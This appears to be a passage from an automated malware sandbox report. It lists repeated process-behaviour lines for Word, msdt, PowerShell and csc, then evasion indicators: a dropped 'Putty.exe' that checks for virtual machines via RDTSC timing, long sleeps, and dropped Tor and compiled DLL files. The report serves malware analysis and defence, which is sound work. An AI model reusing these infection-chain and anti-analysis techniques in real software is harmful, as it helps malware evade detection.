Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\MSOSYNC.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\MSOSYNC.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\MSOSYNC.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\MSOSYNC.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\MSOSYNC.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\MSOSYNC.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\MSOSYNC.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\msdt.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\msdt.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\msdt.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\msdt.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\msdt.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\msdt.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\msiexec.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\msiexec.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\msiexec.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\netsh.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\netsh.exe Process information set: NOOPENFILEERRORBOX Jump to behavior

Malware Analysis System Evasion
barindex
Tries to evade analysis by execution special instruction (VM detection)
Source: C:\Windows\Temp\SDIAG_ddb55b0c-cd91-4e41-8c7d-9e294f93993f\Putty.exe Special instruction interceptor: First address: 0000000141C36BCA instructions rdtsc caused by: RDTSC with Trap Flag (TF)
Source: C:\Windows\Temp\SDIAG_ddb55b0c-cd91-4e41-8c7d-9e294f93993f\Putty.exe Special instruction interceptor: First address: 0000000141C36BE2 instructions rdtsc caused by: RDTSC with Trap Flag (TF)
Tries to detect virtualization through RDTSC time measurements
Source: C:\Windows\Temp\SDIAG_ddb55b0c-cd91-4e41-8c7d-9e294f93993f\Putty.exe RDTSC instruction interceptor: First address: 0000000141C70BD6 second address: 0000000141C70BDF instructions: 0x00000000 rdtsc 0x00000002 inc cx 0x00000004 xor ebx, esp 0x00000006 pop ebp 0x00000007 bswap ebx 0x00000009 rdtsc
Source: C:\Windows\Temp\SDIAG_ddb55b0c-cd91-4e41-8c7d-9e294f93993f\Putty.exe RDTSC instruction interceptor: First address: 0000000141349CA3 second address: 0000000141349CB6 instructions: 0x00000000 rdtsc 0x00000002 cwde 0x00000003 inc eax 0x00000004 sbb dh, dh 0x00000006 popfd 0x00000007 dec eax 0x00000008 arpl dx, si 0x0000000a inc cx 0x0000000c bswap ebx 0x0000000e cdq 0x0000000f inc ecx 0x00000010 pop edi 0x00000011 cbw 0x00000013 rdtsc
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3088 Thread sleep count: 9329 > 30 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1920 Thread sleep time: -3689348814741908s >= -30000s Jump to behavior
Contains long sleeps (>= 3 min)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Windows\SysWOW64\msdt.exe Window / User API: threadDelayed 1893 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 9329 Jump to behavior
Found large amount of non-executed APIs
Source: C:\Users\user\AppData\Roaming\Tor\tor.exe API coverage: 1.4 %
Found dropped PE file which has not been started or loaded
Source: C:\Windows\System32\Dism.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2C080D93-A43D-48E9-B35B-3CDCFF964B60\en-US\IBSProvider.dll.mui Jump to dropped file
Source: C:\Windows\System32\Dism.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2C080D93-A43D-48E9-B35B-3CDCFF964B60\en-US\CbsProvider.dll.mui Jump to dropped file
Source: C:\Windows\System32\Dism.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2C080D93-A43D-48E9-B35B-3CDCFF964B60\en-US\OfflineSetupProvider.dll.mui Jump to dropped file
Source: C:\Windows\System32\Dism.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2C080D93-A43D-48E9-B35B-3CDCFF964B60\en-US\DmiProvider.dll.mui Jump to dropped file
Source: C:\Windows\System32\Dism.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2C080D93-A43D-48E9-B35B-3CDCFF964B60\GenericProvider.dll Jump to dropped file
Source: C:\Windows\System32\Dism.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2C080D93-A43D-48E9-B35B-3CDCFF964B60\en-US\AssocProvider.dll.mui Jump to dropped file
Source: C:\Windows\System32\Dism.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2C080D93-A43D-48E9-B35B-3CDCFF964B60\en-US\ImagingProvider.dll.mui Jump to dropped file
Source: C:\Windows\System32\Dism.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2C080D93-A43D-48E9-B35B-3CDCFF964B60\CbsProvider.dll Jump to dropped file
Source: C:\Windows\Temp\SDIAG_ddb55b0c-cd91-4e41-8c7d-9e294f93993f\Putty.exe Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\Tor\libevent_core-2-1-7.dll Jump to dropped file
Source: C:\Windows\System32\Dism.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2C080D93-A43D-48E9-B35B-3CDCFF964B60\en-US\UnattendProvider.dll.mui Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\vniik5rq\vniik5rq.dll Jump to dropped file
Source: C:\Windows\System32\Dism.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2C080D93-A43D-48E9-B35B-3CDCFF964B60\en-US\TransmogProvider.dll.mui Jump to dropped file
Source: C:\Windows\System32\Dism.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2C080D93-A43D-48E9-B35B-3CDCFF964B60\DmiProvider.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2ez4s4sm\2ez4s4sm.dll Jump to dropped file
Source: C:\Windows\System32\Dism.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2C080D93-A43D-48E9-B35B-3CDCFF964B60\en-US\OSProvider.dll.mui Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\3diak4dk\3diak4dk.dll Jump to dropped file
Source: C:\Windows\System32\Dism.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2C080D93-A43D-48E9-B35B-3CDCFF964B60\en-US\AppxProvider.dll.mui Jump to dropped file
Source: C:\Windows\System32\Dism.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2C080D93-A43D-48E9-B35B-3CDCFF964B60\en-US\IntlProvider.dll.mui Jump to dropped file
Source: C:\Windows\System32\Dism.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2C080D93-A43D-48E9-B35B-3CDCFF964B60\FfuProvider.dll Jump to dropped file
Source: C:\Windows\System32\Dism.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2C080D93-A43D-48E9-B35B-3CDCFF964B60\en-US\FfuProvider.dll.mui Jump to dropped file
Source: C:\Windows\System32\Dism.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2C080D93-A43D-48E9-B35B-3CDCFF964B60\DismHost.exe Jump to dropped file
Source: C:\Windows\System32\Dism.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2C080D93-A43D-48E9-B35B-3CDCFF964B60\IBSProvider.dll Jump to dropped file
Source: C:\Windows\System32\Dism.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2C080D93-A43D-48E9-B35B-3CDCFF964B60\AppxProvider.dll Jump to dropped file
Source: C:\Windows\System32\Dism.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2C080D93-A43D-48E9-B35B-3CDCFF964B60\en-US\CompatProvider.dll.mui Jump to dropped file
Source: C:\Windows\Temp\SDIAG_ddb55b0c-cd91-4e41-8c7d-9e294f93993f\Putty.exe Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\Tor\tor-gencert.exe Jump to dropped file
Source: C:\Windows\System32\Dism.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2C080D93-A43D-48E9-B35B-3CDCFF964B60\en-US\SysprepProvider.dll.mui Jump to dropped file
